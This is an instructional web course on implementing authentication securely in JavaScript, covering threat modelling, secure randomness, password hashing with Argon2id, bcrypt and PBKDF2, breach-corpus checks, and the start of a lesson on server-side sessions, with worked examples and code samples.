Sign in

Libre University uses your GitHub account. Signing in is only needed to sit a final test, so the score is kept on your profile.

Web Auth

Sign people in without getting it wrong: hashing and sessions, cookies and CSRF, password reset, TOTP, passkeys and OAuth, written in JavaScript.

What logging in actually is

A web server has no memory of you, so being logged in is a fiction it rebuilds from scratch on every request.

This course assumes you can read and write JavaScript: functions, objects, arrays, async and await, and enough of the standard library to run a script. The Programming subject on this site covers all of it. Nothing else is assumed, and in particular no cryptography, which this lesson introduces from nothing. Every code sample here is modern JavaScript that runs unchanged in a browser console, in Bun, or in a recent Node, using the global crypto object that all three provide.

Three questions that get called one word

"Log in" is a single phrase covering three separate questions, and almost every serious authentication bug is a confusion between them.

Identification is the claim. A visitor types [email protected] into a box, and that is a claim about who they are, no more trustworthy than a name written on a form. Identification costs nothing to fake and proves nothing, which is why an email address in a request body is data, not evidence.

Authentication is the evidence. The visitor supplies something that distinguishes the real owner of that account from everyone else: a password only they should know, a code from a device only they should hold, a signature only their hardware key can produce. Authentication is where cryptography lives, and it answers exactly one question: is the claim true?

Authorization is the permission. Ada is genuinely Ada, and now the server has to decide whether Ada may delete invoice 4192. Authentication says nothing about this. A perfectly authenticated user asking for somebody else's data is the single commonest real breach on the web, and the reason it happens is that the code checked the first two questions and assumed the third.

Keep the words apart and a whole class of bug becomes visible. GET /invoices/4192 from a signed-in browser is an authenticated request; whether it is an authorized one depends on a database check that nothing about the session can supply. The last lesson of this course is about that check. The eight in between are about getting a trustworthy answer to the middle question and keeping it alive across a conversation with a protocol that forgets.

HTTP forgets between requests

HTTP is stateless by design. Each request arrives with its method, its path and its headers, and the server answers it and lets go. Two requests from the same browser, one second apart, are unrelated events as far as the protocol is concerned. There is no connection identity to lean on: a page load fires dozens of requests across several connections, connections are pooled and reused across different users behind a proxy, and an IP address may be shared by a whole office or change mid-session on a phone.

So there is nothing in the transport that says "this is the same person as before". Which means being logged in cannot be a state the server remembers about a visitor. It has to be a claim the browser presents, freshly, on every request, and that the server can check without having seen the previous request.

The whole of this course follows from that sentence. If the browser must present something every time, that something is a secret, and every design question becomes: what is the secret, who can obtain it, how long is it good for, and what happens when it leaks. Passwords, session cookies, JWTs, TOTP codes and OAuth access tokens are all answers to the same question, differing in where the secret lives and what it costs to steal.

One consequence deserves saying out loud now, because it is the source of endless confusion later. A secret the browser sends automatically, like a cookie, is convenient and is sent even when the request was not the user's idea, which is the CSRF problem. A secret the browser has to be told to send, like an Authorization header, is not sent automatically and so needs to be readable by JavaScript, which makes it stealable by injected script, which is the XSS problem. Neither choice escapes both. A later lesson is entirely about living with that trade.

Threat modelling, briefly and concretely

Security work with no named adversary drifts into ritual: rules followed because they are rules, and effort spent where nothing is at risk. Before choosing a mechanism, write down three things.

Who. For an ordinary web application the realistic list is short. There is the opportunist running credential stuffing, replaying username and password pairs from other sites' breaches at a rate of thousands per minute, who does not care about you specifically. There is the phisher, who wants one particular person's account and will send them a convincing email. There is the person who steals your database, through SQL injection or a leaked backup, and now holds every password hash offline. And there is the attacker who gets script running on your origin, through a stored comment or a compromised dependency, and can then act as any visitor who loads that page.

What they already have. This is the question people skip. The stuffing attacker already has the user's password, because it was reused. Password hashing does nothing against them; rate limiting and a second factor do. The phisher will obtain a password and a TOTP code, both, because the user will type them into the wrong site. Only origin-bound credentials stop them. The database thief has your hashes and your salts and your source code, so a scheme whose strength depends on the salt being secret has no strength. Match the defence to the adversary or you will harden the wrong thing.

What losing looks like. A forum account and a payroll account justify different friction. Requiring a hardware key to read a recipe site loses you the reader; not requiring re-authentication before a bank transfer loses the customer's money. Security that users route around is worse than the weaker scheme they would have used honestly, and this is a real engineering constraint rather than an excuse.

Example. Your service is breached and an attacker walks off with the users table: emails, password hashes, salts, and the session_id column. Which of your defences still stand, and which have already failed?

Password hashing still stands, but only as a delay: the attacker now guesses offline at whatever rate their hardware allows, and the next lesson is about making that rate small. Salts have done their job already, since they stopped one pass of guessing from cracking every account at once, and it does not matter that the attacker can read them. Rate limiting has failed completely, because it only ever applied to guesses arriving over the network. If the sessions table stores raw session identifiers rather than hashes of them, every live session is stolen outright with no guessing at all, and that is why the sessions lesson insists on hashing them too.

Now you. A user's password is correcthorse, which also appears in a corpus of two hundred million passwords from other sites' breaches. An attacker tries it against your login form. Which of your defences, if any, is doing anything?

Answer

Not password hashing, which only slows guessing against a stolen file and is irrelevant when the attacker guesses right on the first try over the network. What remains is rate limiting, which caps how many accounts per hour the attacker can walk through; a check against a breach corpus at the moment the password was chosen, which would have refused it; and a second factor, which is the only thing that still holds once the password is known. Against credential stuffing, the hash is not part of the defence.

Randomness an attacker cannot predict

Nearly every mechanism in this course mints a secret: a session identifier, a reset token, a CSRF token, a TOTP secret, an OAuth state. All of them need randomness that an attacker cannot reproduce, and JavaScript offers two sources that look interchangeable and are not.

Math.random is a fast pseudorandom generator built for simulations and animation. It is seeded from an unspecified source, it has a small internal state, and its output is a deterministic function of that state. V8 uses xorshift128+, with 128 bits of state and no cryptographic mixing between the state and the output, so an attacker who sees a handful of outputs can solve for the state and then print every number the generator will ever produce, forwards and backwards. If session identifiers come from Math.random, an attacker signs up for an account, reads their own identifier, and derives yours.

crypto.getRandomValues fills a typed array from the operating system's cryptographic generator, which is seeded from hardware entropy and designed so that observing output tells you nothing about the state. It is the only acceptable source for anything secret.

const bytes = new Uint8Array(16);
crypto.getRandomValues(bytes);
const token = bytes.toBase64({ alphabet: "base64url" });

Sixteen bytes is 128 bits, and 128 bits is the number to remember. The reason is worth deriving rather than accepting. A guessing attacker who can try 1012 candidates per second, which is far beyond what any network-facing service would permit and generous even for offline work, needs 2128/1012 seconds to exhaust the space, which is 1.1×1019 years. Halve the exponent and the picture changes completely: 264 at the same rate takes 0.59 years, so a 64-bit token is a machine-months problem, not an impossibility. That gap between "seven months" and "longer than the universe" is why the standard advice is 128 bits and why it is not negotiable downward for a bearer secret.

Encoding matters less than people expect but is worth getting right. Sixteen random bytes encoded as base64url become 22 characters, because each character carries 6 bits and 128/6=22. Those 22 characters carry exactly 128 bits of entropy, no more: encoding never adds any. Writing the same bytes as 32 hexadecimal characters carries the same 128 bits in a longer string.

Example. A colleague generates password reset tokens as six characters drawn from a 32-character alphabet, and argues that a billion possibilities is plenty. Your rate limiter allows 10,000 attempts per second against the reset endpoint before it trips. How long does an attacker need?

The space is 326=1.07×109, which is exactly 30 bits, since 32=25 and 6×5=30. At 10,000 guesses per second, exhausting it takes 1.07×109/104=1.07×105 seconds, which is 29.8 hours, and an attacker expects to succeed in half that, about 14.9 hours. Worse, tokens are usually valid for many accounts at once, so the attacker is not hunting one particular token but any live one, and with a thousand pending resets the search shortens by a factor of a thousand to under a minute. Thirty bits is not a billion possibilities in any useful sense.

Now you. How many random bytes must you generate for a token with at least 128 bits of entropy if you encode them in hexadecimal, and how long is the resulting string?

Answer

Sixteen bytes, exactly as before: the entropy is in the bytes, not in the encoding. Hexadecimal spends one character per 4 bits, so 16 bytes become 32 characters. Those 32 characters and the 22-character base64url string carry identical strength. Choosing hexadecimal costs 10 characters of URL and buys easier reading in a log.

Hash, MAC, encrypt

Three operations get called "encryption" in casual speech, and they do different jobs. Choosing the wrong one is not a subtle weakness but a structural failure.

A hash is one way. SHA-256 takes any input and gives 32 bytes, quickly, with no key and no way back. It is the right tool when you need to recognise a value later without storing it: comparing a session token you received against a digest in the database, or checking that a file has not changed. What it is not is a way to hide a password, because "no way back" only holds when the input is unpredictable. There are far fewer plausible passwords than there are 32-byte digests, so an attacker hashes candidates and compares. The next lesson is entirely about that.

A MAC, message authentication code, is a keyed hash: HMAC-SHA-256 takes a key and a message and produces a tag that only a holder of the key can compute. It answers "did someone with the key produce this, and has it been altered", and it is what signs a cookie, a JWT with a symmetric algorithm, or a TOTP code. A MAC does not hide anything. The message it protects stays readable, which surprises people who sign a token containing a user's role and then treat that role as private.

Encryption hides content. Modern authenticated encryption such as AES-GCM produces ciphertext plus a tag, so it both conceals and detects tampering. In web authentication you need it less often than you would think, and reaching for it is usually a sign of a design that stores something in the browser that should have stayed on the server.

The distinction that saves the most trouble: signing proves origin, encrypting hides content, and hashing does neither in a reversible way. A signed session token is readable by anyone holding it. Put nothing in it you would mind the user reading.

Comparing secrets without leaking them

Once you hold a secret and a candidate, you compare them, and the obvious comparison leaks.

if (token === stored) { /* ... */ }

String equality in every runtime stops at the first differing character. So a comparison that fails at position 0 returns faster than one that fails at position 20, and the difference is measurable. An attacker who can time your endpoint sends a token beginning a, then b, and so on, keeping whichever prefix takes fractionally longer, and recovers the secret one character at a time. Instead of 3222 guesses they need 32×22.

The fix is to look at every byte regardless.

function equalBytes(a, b) {
  if (a.length !== b.length) return false;
  let diff = 0;
  for (let i = 0; i < a.length; i++) diff |= a[i] ^ b[i];
  return diff === 0;
}

The XOR of equal bytes is zero, so accumulating with |= leaves diff at zero only when every byte matched, and the loop runs the same number of times either way. The length check is a real leak, but of length only, and lengths here are fixed and public.

In practice the tidier defence is to make the comparison unnecessary. Hash the incoming token with SHA-256, look the digest up by index, and let the database do an equality test on a value that is not secret in the useful sense: an attacker who learns a digest still cannot present the token that produces it. That pattern appears in the sessions lesson and again in the account lifecycle lesson, and it removes both the timing problem and the problem of storing raw secrets.

Timing leaks are also easy to overstate. Over the public internet, jitter is far larger than a few nanoseconds of string comparison, and a remote attack of this kind needs a great many samples. But the fix costs four lines, the attacker may be on your network, and "probably too noisy" is a poor foundation. Write the loop.

Example. This handler verifies a webhook signature. What leaks, and what should it be?

const expected = await hmacHex(secret, body);
if (request.headers.get("x-signature") !== expected) return new Response("no", { status: 401 });

The !== compares two hex strings and stops at the first difference, so the response time grows with the length of the correct prefix an attacker supplies. Since the attacker controls the header and can send unlimited attempts, they can walk the signature out one hex digit at a time, 16 tries per position. Decode both sides to bytes and compare with the constant-time loop above, or hash both sides with SHA-256 and compare the digests, which is the same trick as with session tokens.

Now you. Somebody proposes fixing the timing leak by adding a random delay of up to 50 milliseconds to every response. Does that work?

Answer

Not reliably. Random noise added to a signal does not remove the signal, it just means the attacker needs more samples: averaging over enough requests recovers the underlying difference, and 50 milliseconds of uniform noise against a consistent nanosecond-scale bias is beaten by taking many measurements per candidate. It also makes every legitimate response slower. Constant-time comparison removes the signal rather than burying it, and costs nothing.

Encoding is not encryption

Base64, hexadecimal, URL encoding and JSON are ways of writing bytes down. None involves a key, all are reversible by anyone, and treating any of them as protection is a recurring and embarrassing failure.

const cookie = btoa(JSON.stringify({ user: "ada", admin: false }));
// eyJ1c2VyIjoiYWRhIiwiYWRtaW4iOmZhbHNlfQ==

That string looks opaque and is not. Any user decodes it, changes false to true, re-encodes, and sends it back. If the server trusts the contents, the site has no authentication at all. The failure repeats at a larger scale with JWTs, whose payload is base64url text that people routinely believe to be hidden.

The rule: if the browser holds a value and the server acts on its contents, the value must carry a MAC computed with a key the browser does not have, or its contents must live on the server with only an unguessable identifier in the browser. Encoding is for transport, and it protects nothing.

What has to happen next

Everything above is scaffolding. The server needs a secret from the user on every request, it can generate unguessable values, it can recognise them again without storing them in the clear, and it can compare them without leaking. What it does not yet have is a first secret, and the first secret in almost every system is one the user chose themselves.

That is the hardest possible input to work with. A user-chosen password is short, drawn from a distribution an attacker can model well, reused across a dozen other sites, and it has to survive the day your database is copied. Making a chosen password hard to reverse is a different problem from anything in this lesson, and it is where the course goes next.

Passwords

A password is the worst secret in the system, because a person chose it and has to remember it.

The previous lesson established that the server needs a secret on every request and that hashing is one way. This lesson is about the only secret the user supplies directly. If you have arrived here on your own, what matters from earlier is that a hash is a fast one-way digest with no key, and that "one way" only means anything when the input is unpredictable. A password is exactly the case where it is not.

Why a fast hash loses, with numbers

Store sha256(password) and you have not hidden the password. You have written down a value that an attacker with your database can test candidates against, as fast as their hardware runs SHA-256.

The rate is the whole argument, so use a real one. Published hashcat benchmarks for a single consumer graphics card, an RTX 4090, report roughly 21.9 billion SHA-256 hashes per second. Now take a password nobody would call weak on sight: eight lowercase letters, no dictionary word, something like qjfbmzrx. The search space is 268=2.09×1011 candidates. Divide:

2.09×10112.19×1010=9.5 seconds

Nine and a half seconds, on one card, for every eight-letter lowercase password in existence. Allow the full 95 printable ASCII characters at eight long and it is 6.63×1015 candidates, about 3.5 days. Those are the numbers for one card bought at retail, and real cracking does not begin with brute force at all: it begins with the previous breach corpora, then dictionary words with the substitutions people actually make, and most of a stolen file falls in the first few minutes.

So a fast hash is not a defence, it is a formality. The fix is to make each single guess expensive, and the term for it is stretching: a function deliberately built to be slow, tuned so that one evaluation costs the server a fraction of a second and therefore costs the attacker the same fraction of a second, multiplied by the size of their search.

Take bcrypt at work factor 12. The same benchmark reports about 184,300 bcrypt hashes per second at work factor 5, and each increment of the factor doubles the work, so factor 12 is 27=128 times slower, giving about 1,440 hashes per second. Run the eight-lowercase space against that:

2.09×10111440=1.45×108 seconds=4.6 years

From 9.5 seconds to 4.6 years, on the same hardware, for the same password. That factor of about fifteen million is what stretching buys, and it is the entire content of password storage.

Example. Your database uses sha256(password) and you are asked how long it would take an attacker to crack an account whose password is ten lowercase letters. Then say what the same password costs under bcrypt at work factor 12.

The space is 2610=1.41×1014. At 2.19×1010 hashes per second that is 1.41×1014/2.19×1010=6.4×103 seconds, or 1.8 hours, on one card. At bcrypt's 1,440 hashes per second the same space needs 1.41×1014/1440=9.8×1010 seconds, which is about 3,100 years. The password did not change. Only the cost per guess did.

Now you. An attacker rents eight cards instead of one and attacks a bcrypt work factor 12 hash of an eight-lowercase-letter password. How long, and what does that tell you about work factor as a defence?

Answer

Eight cards give 8×1440=11{,}520 hashes per second, so 2.09×1011/11{,}520=1.81×107 seconds, about 0.58 years or seven months. Hardware scales linearly and the work factor scales exponentially, which is the good news: one increment of the factor, costing your server twice as long per login, cancels a doubling of the attacker's budget. The bad news is that the user's choice scales fastest of all. Two more lowercase letters multiply the attacker's work by 676, which no realistic parameter change can match.

Salt, and what it does not do

A salt is a unique random value stored alongside each hash and mixed into it. Sixteen bytes from crypto.getRandomValues is standard, and it is not secret: the modern password hashes encode it in plain text inside the stored string, right next to the digest.

What salting stops is amortisation. Without a salt, every user with the password hunter2 has the same stored digest, so cracking one cracks all of them, and a table of common passwords precomputed once matches against every breached database forever. With per-user salts the same password gives different digests for different users, the table is worthless, and the attacker must run the full expensive computation separately for each account.

What salting does not do is protect any individual password. Guessing hunter2 against one salted hash costs one hash evaluation, exactly as before. Salts change the economics across a file, not the strength of a single entry. People sometimes conclude from "the salt sits in plain text next to the hash" that salting is pointless, and the conclusion is backwards: the salt was never meant to be secret, it was meant to make each account a separate problem.

The two ways to get it wrong are to reuse one salt for the whole application, which recreates the precomputation attack in full, and to derive the salt from the email address, which does the same across sites, since [email protected] has the same derived salt everywhere.

Slow on purpose: three dials

A password hash is tuned with up to three parameters, and knowing what each defends against is what lets you set them.

Time, meaning iterations or passes. Raising it multiplies the work for you and for the attacker in the same proportion. This is the only dial PBKDF2 has, and it is why PBKDF2 is the weakest of the acceptable functions: an attacker's card runs thousands of SHA-256 cores in parallel, so raising an iteration count that costs your one CPU core dearly costs their thousands of cores proportionally much less.

Memory. This dial changes the shape of the fight. If each evaluation needs 19 MiB of working memory, read and written throughout, an attacker cannot run ten thousand instances in parallel on a card holding 24 GB: 24×109/19.5×106 is about 1,230 instances, and that ceiling comes from memory rather than cores. Memory hardness is what makes custom cracking hardware unattractive, because memory is the one component a custom chip cannot make cheaper.

Parallelism, meaning how many lanes one evaluation may use, lets you spend more CPU per hash without more wall-clock time. Leave it at 1 unless you have measured a reason.

Pick the parameters from a measured time budget on your own hardware, never from a number copied out of a blog post written for someone else's. The budget comes from your login rate: if a hash takes 250 ms and the process has 8 cores free for hashing, the ceiling is 8/0.25=32 logins per second, and a burst above that queues. Choose the largest cost whose ceiling still clears your realistic peak, then re-measure once a year, because the hardware moves.

Note what this implies. Password hashing is the one place in a web application where you deliberately make yourself slow, so it is also a denial-of-service surface: an attacker firing a thousand attempts per second at a 250 ms hash consumes 250 seconds of CPU per second of attack. Rate limiting is not an optional companion to expensive hashing, it is what makes expensive hashing safe to deploy.

Choosing the function

Four functions are in serious use, and the ranking is not controversial.

Argon2id won the Password Hashing Competition in 2015 and is the default recommendation. It is memory hard, it resists both side-channel attacks and time-memory tradeoffs, and it exposes all three dials. The OWASP Password Storage Cheat Sheet gives 19 MiB of memory, 2 iterations and 1 degree of parallelism as a baseline, with equivalent trades such as 46 MiB with 1 iteration. Use it for a new system.

scrypt is older, also memory hard, and a fine second choice. Its parameters are less pleasant to reason about, since the cost factor N, block size r and parallelisation p interact.

bcrypt dates from 1999 and is not memory hard in the modern sense, though its 4 KiB of working state still costs an attacker something. It is fine for existing systems, with one trap: bcrypt reads at most 72 bytes of input and silently ignores the rest, so a long passphrase is truncated. The tempting fix of hashing with SHA-256 first has its own problem, since a raw digest may contain a zero byte that terminates the string in some implementations. If you pre-hash, base64 the digest first.

PBKDF2 is the one Web Crypto actually implements, and that convenience is its only real advantage. With no memory hardness it is the cheapest of the four for an attacker per unit of pain inflicted on you. OWASP puts the recommendation at 600,000 iterations with HMAC-SHA-256. Work out what that buys: a card at 2.19×1010 raw SHA-256 hashes per second, spending roughly two compressions per iteration, manages about 2.19×1010/(2×600{,}000)=18{,}250 password guesses per second, thirteen times faster than bcrypt at work factor 12. Against our eight-lowercase password, 2.09×1011/18{,}250=1.14×107 seconds, about 132 days. Acceptable, and clearly the weakest of the four.

This is the one place where the course leaves Web Crypto, because Web Crypto has none of the top three. Reach for a WebAssembly implementation such as hash-wasm, which provides Argon2id and runs in browsers, Bun and Node alike.

import { argon2id } from "hash-wasm";

const salt = new Uint8Array(16);
crypto.getRandomValues(salt);

const stored = await argon2id({
  password: "correct horse battery staple",
  salt,
  parallelism: 1,
  iterations: 2,
  memorySize: 19456,      // KiB, so 19 MiB
  hashLength: 32,
  outputType: "encoded"
});
// $argon2id$v=19$m=19456,t=2,p=1$<salt>$<digest>

The encoded output is the point of the format. Salt, parameters and digest travel in one string, so verification reads the parameters out of the stored value rather than assuming today's settings, and raising the cost next year does not invalidate every existing password.

Example. You measure Argon2id at 19 MiB and 2 iterations on production hardware at 310 ms per hash. You have 4 cores free for hashing and expect peaks of 20 logins per second. Do the parameters fit?

The ceiling is 4/0.310=12.9 logins per second, below the 20 you expect, so at peak the queue grows without bound and logins time out. Halving the memory to 9.5 MiB roughly halves the time to 155 ms, giving 4/0.155=25.8 per second, which clears 20 with little margin. Adding four cores at the original parameters gives the same 25.8 and keeps the stronger hash. The honest answer is that a sustained 20 per second needs more than four cores if you want real headroom.

Now you. A colleague proposes Argon2id at 1 GiB of memory, arguing that more is always better. What breaks?

Answer

Throughput and memory both. Each concurrent hash holds a gibibyte, so ten simultaneous logins need 10 GiB resident, and a 16 GiB server starts swapping or is killed by the kernel. Time per hash rises into seconds, collapsing the login ceiling to low single digits. Worse, it hands an attacker a cheap denial of service: a few hundred concurrent attempts exhaust the machine and nobody gets in. Parameters are chosen against your own capacity, and a value your server cannot serve is not a stronger setting, it is an outage.

Pepper, and its narrow value

A pepper is a secret mixed into every password hash and stored outside the database, in an environment variable, a key management service or a hardware module. The usual construction computes the password hash normally and then takes an HMAC of the result under the pepper key, which keeps the pepper away from the slow function and makes it rotatable.

Its value is narrow and real: it defends against exactly one scenario, the attacker who obtains the database and not the application secrets. A leaked backup, a read-only SQL injection, a misconfigured replica. In that case the stolen hashes are uncrackable, because guessing requires a key the attacker does not have. Its value is nothing at all against a full compromise of the application server, since whatever the application can read to verify a password, an attacker who owns the application can also read.

Add a pepper when you have somewhere genuinely separate to keep it, and plan rotation before you add it: rotating requires either keeping old key versions for verification or re-peppering on next login. Never let a pepper substitute for correct parameters on the underlying hash.

What the standards actually say

NIST Special Publication 800-63B, in the revision that landed in 2017 and in everything since, reversed a generation of received wisdom, and the reversal is still not universally applied.

No composition rules. Do not require an uppercase letter, a digit and a symbol. Users answer these rules with the same few transformations, Password1! and Summer2024!, which attack tooling models directly, so the rules shrink the space attackers actually explore while making passwords harder to remember.

No periodic expiry. A forced change every 90 days produces a pattern with an incrementing counter, and does nothing when a password is genuinely compromised. Force a change on evidence, not on a calendar.

Minimum eight characters, and accept at least 64. Length is the one thing a user supplies that genuinely helps, so truncating or rejecting long input is a bug. Accept all printable characters including spaces, accept Unicode, and normalise it consistently before hashing. Allow paste and a reveal toggle, since blocking paste breaks password managers, which are the most effective improvement available to an ordinary user.

Check the chosen password against a list of known-compromised values, which is the rule that replaces composition rules and is the subject of the next section.

The reasoning behind the reversal generalises. Rules that assume an attacker guesses uniformly at random are aimed at the wrong adversary: real attackers guess in order of likelihood, from corpora of what people have actually chosen. A password's strength is not the size of the space of strings that shape, but how far down the attacker's ordered list it sits. Tr0ub4dor&3 satisfies every composition rule and sits early on that list.

Checking against a breach corpus without sending the password

The rule to check new passwords against known-breached values raises an obvious objection: you are not sending your users' passwords to a third party. The k-anonymity protocol used by Have I Been Pwned's Pwned Passwords service solves this, and it is a genuinely elegant piece of design worth understanding rather than importing.

Hash the candidate with SHA-1, which is a deliberate choice of a fast hash because it is a lookup key rather than a stored secret. Take the first five hexadecimal characters. Send only those. The service returns every suffix it holds beginning with that prefix, and you search the list locally.

const digest = await crypto.subtle.digest("SHA-1", new TextEncoder().encode(password));
const hex = [...new Uint8Array(digest)]
  .map(b => b.toString(16).padStart(2, "0")).join("").toUpperCase();

const res = await fetch(`https://api.pwnedpasswords.com/range/${hex.slice(0, 5)}`);
const body = await res.text();
const hit = body.split("\n").find(line => line.startsWith(hex.slice(5)));
const breached = Boolean(hit);

For password, the SHA-1 digest is 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8, so the request is for prefix 5BAA6 and the local search is for the suffix 1E4C9B93F3F0682250B6CF8331B7EE68FD8. The service learns the prefix and nothing else. Five hexadecimal characters give 165=1{,}048{,}576 possible prefixes, and a corpus of around 850 million entries spreads to roughly 810 suffixes per prefix, so the returned list says nothing about which entry you wanted, or whether you were asking about a breached password at all.

Two honest limits: the protocol hides which password you asked about, not that a check happened, and a padded response option exists precisely because response length would otherwise leak a little. Against the benefit, which is refusing the passwords credential stuffing actually uses, the remaining exposure is negligible for most applications.

Example. A user tries to set their password to hunter2. Its SHA-1 digest is F3BBBD66A63D4BF1747940578EC3D0103530E21D. What exactly leaves your server, and what could the service infer?

The request is GET /range/F3BBB and nothing else: no password, no username, no full digest. The service learns that somebody asked about a password whose SHA-1 begins F3BBB, which is one of 1,048,576 prefixes and matches roughly 810 corpus entries plus an unbounded number of passwords not in the corpus at all. It cannot tell which, and it cannot tell whether the answer was a hit. Your server does the matching on the remaining 35 hexadecimal characters locally.

Now you. Why is SHA-1, a hash considered broken for signatures, the right choice here, and what would go wrong if the service used Argon2id instead?

Answer

SHA-1 is broken for collision resistance, which matters when an attacker gets to choose two colliding messages, and is irrelevant here: the digest is a lookup key into a public list, not a stored credential or a signature. Argon2id would be actively wrong for two reasons. It is salted, so the same password gives different outputs and no shared lookup key exists at all. And it is slow by construction, so checking a password against a corpus of 850 million entries would take years rather than milliseconds. The property needed is a fast, deterministic, unsalted key, which is exactly what makes SHA-1 unsuitable for storage and suitable for this.

The login flow itself

Verification is the mirror of storage, with three details that are routinely missed.

const user = await db.userByEmail(email);
const stored = user?.passwordHash ?? DUMMY_HASH;
const ok = await argon2Verify({ password, hash: stored });
if (!user || !ok) return new Response("Invalid email or password", { status: 401 });

Always do the work. With no user for that email, the tempting early return answers in a millisecond instead of 310, and an attacker separates registered from unregistered addresses by timing alone. Verifying against a fixed dummy hash with the same parameters keeps both paths equally slow. The dummy is a real Argon2id hash of a random string, made once at startup.

One message for both failures. "No account with that email" and "wrong password" answer the question the attacker is actually asking, which is whether an address is worth attacking. Say Invalid email or password for both, with the same status. This is user enumeration, it recurs in sign-up, reset and verification, and the account lifecycle lesson deals with the parts a single error message cannot fix.

Upgrade on the way through. You hold the plaintext exactly once, at successful login, which is the moment to check whether the stored hash used older parameters and, if so, recompute and save it with today's settings. Since the encoded string carries the parameters that produced it, this is a comparison of stored against current, and it is how a system moves from bcrypt to Argon2id without asking anyone to reset anything.

Notice what verification does not accomplish. The user proved knowledge of the password at one request. The next arrives with nothing, and asking again on every page would mean the browser holds the password permanently and sends it constantly, multiplying the chances of it reaching a log, a proxy or an error report.

What the server needs is a secret that stands in for the password: one it can mint after a successful check, hand to the browser, recognise cheaply, and destroy at will. That is a session, and it is next.

Sessions and cookies

A session is one level of indirection: instead of proving who you are on every request, you present a meaningless string that the server can look up.

The previous lesson ended with a password verified exactly once. This lesson turns that single proof into a conversation. If you have arrived here directly, the two things carried over are that a bearer secret needs 128 bits of entropy from crypto.getRandomValues, and that anything the browser holds is something an attacker may eventually hold too.

The indirection, and why it is the whole idea

After a successful password check the server creates a row and hands the browser a random string that names it:

await db.createSession({
  id: await sha256(token),       // never the token itself, see below
  userId: 4192,
  createdAt: "2026-03-04T09:12:44Z",
  lastSeenAt: "2026-03-04T09:12:44Z",
  userAgent: request.headers.get("user-agent"),
  ip: clientIp(request)
});

The string the browser receives carries none of that. It is not the user's identity encoded, not their email, not a number that could be incremented. It is a bearer token: whoever presents it gets treated as the person it belongs to, with no further questions, which is exactly why it must be unguessable and exactly why it must be revocable.

Two properties follow from putting the state on the server, and they are the reason this design remains the right default for browser login.

Revocation is instant. Delete the row and the next request from that browser finds nothing, so the user is signed out. There is no window, no waiting for an expiry, no cache to invalidate. This sounds unremarkable until you meet the alternative in the next lesson, which cannot do it at all.

The token stays small and meaningless. Twenty-two characters go in a cookie regardless of how much you know about the user. Roles, permissions, display name and preferences live in the database, are read fresh on each request, and change the instant an administrator changes them.

The cost is a lookup per request. That is a single indexed read on a primary key, which for any store worth using is a fraction of a millisecond, and it is the cheapest part of a typical request. Arguments against session storage on performance grounds almost always compare against a workload nobody has measured.

Minting the identifier

function newSessionToken() {
  const bytes = new Uint8Array(32);
  crypto.getRandomValues(bytes);
  return bytes.toBase64({ alphabet: "base64url" });
}

Thirty-two bytes rather than the minimum sixteen, because the cost of the extra 21 characters is nothing and the margin is free. Even at sixteen the arithmetic is decisive: an attacker firing a million requests per second at your server, which no service would tolerate, needs 2128/106 seconds to exhaust the space, or 1.1×1025 years.

The other question people ask is collisions. If two users are issued the same identifier, one of them is signed in as the other. With k identifiers of b bits, the expected number of collisions is about k2/2b+1. For a billion sessions at 128 bits that is 1018/2129=1.5×10-21, which is not going to happen. At 64 bits the same billion sessions give 2.7×10-2, a 3 percent chance, which is a bug that will eventually bite and be impossible to reproduce. Fifty percent probability arrives at 1.18×2b/2 identifiers, which is 5.1×109 at 64 bits and 2.2×1019 at 128. The uniqueness constraint in the database is still worth having, but it is a tripwire rather than a mechanism.

Note what is missing from the generator: any input at all. No user ID, no timestamp, no counter, no hostname. Anything you mix in that an attacker can predict reduces the effective entropy, and the classic failure is a "session ID" built from a UUIDv1, which encodes a timestamp and a MAC address and has perhaps a few dozen unpredictable bits. crypto.randomUUID is a v4 UUID with 122 random bits and is acceptable; uuid.v1() is not.

Example. A service has 400,000 concurrent sessions and issues identifiers of 8 random bytes. What is the chance an attacker guesses a live session in a single request, and how many requests to reach even odds?

Eight bytes is 64 bits, so the space is 1.8×1019. With 4×105 live sessions, one random guess hits with probability 4×105/1.8×1019=2.2×10-14. Even odds need about ln(2)/2.2×10-14=3.1×1013 requests, so guessing is not the problem here. The collision arithmetic is: at 64 bits, birthday behaviour puts a first duplicate near 5.1×109 issued identifiers, and a busy service issuing ten per second reaches that in sixteen years. Thin, but survivable. It is the next factor of two down that kills you, and there is no reason to be anywhere near the edge.

Now you. Someone proposes session identifiers of the form base64(userId + ":" + Date.now() + ":" + random4bytes). How much entropy does it actually have, and what else is wrong?

Answer

Four random bytes is 32 bits, about 4.3 billion, and that is the whole of it: the user ID is known or guessable and the timestamp is known to within a second or two by anyone who can observe when a login happened. At a thousand guesses per second an attacker targeting one known login window walks the remaining space in weeks, and in parallel across many accounts far faster. The second problem is that the identifier leaks the user ID and the login time to anyone who base64-decodes it, which is trivially done. Generate the whole thing at random and store the metadata in the row.

Store a hash, not the token

The sessions table is a database table, and databases leak. A backup goes to the wrong bucket, a read-only injection dumps a table, a replica is exposed. If that table holds raw session tokens, every stolen row is an account the attacker walks into immediately, with no password and no guessing.

So store SHA-256(token) and index that. The browser sends the token, the server hashes it and looks up the digest.

async function sha256(text) {
  const digest = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(text));
  return new Uint8Array(digest).toBase64({ alphabet: "base64url" });
}

const row = await db.session(await sha256(cookieValue));

The objection from the passwords lesson does not apply here. A password is a low-entropy value chosen by a person, so a fast hash of it can be guessed; a session token is 256 bits from a cryptographic generator, and no amount of hardware inverts a SHA-256 digest of an input drawn uniformly from that space. Fast is exactly right, because this runs on every request.

There is a second benefit that is easy to miss. Because the lookup is an indexed equality on a digest rather than a comparison of secrets in application code, the timing-leak problem from the first lesson disappears: an attacker who somehow learns the stored digest still cannot produce the token that yields it.

Lifecycle: expiry, rotation, revocation

A session is not a fact but a lease, and three separate clocks govern it.

Idle expiry ends a session after a period with no activity, refreshed on each request. It protects the abandoned browser on a shared machine. Thirty minutes is a reasonable default for an ordinary application, a few minutes for a banking session, and updating last_seen_at on every request is a write per request, so most systems only write when the stored value is more than a minute old.

Absolute expiry ends it a fixed time after creation regardless of activity, and it is the one people leave out. Without it a stolen token used regularly stays valid forever, and an attacker who steals a session keeps it by simply making a request every twenty minutes. Twelve hours suits an application people use during a working day; a "remember me" session runs to thirty days and should carry fewer privileges than a fresh one.

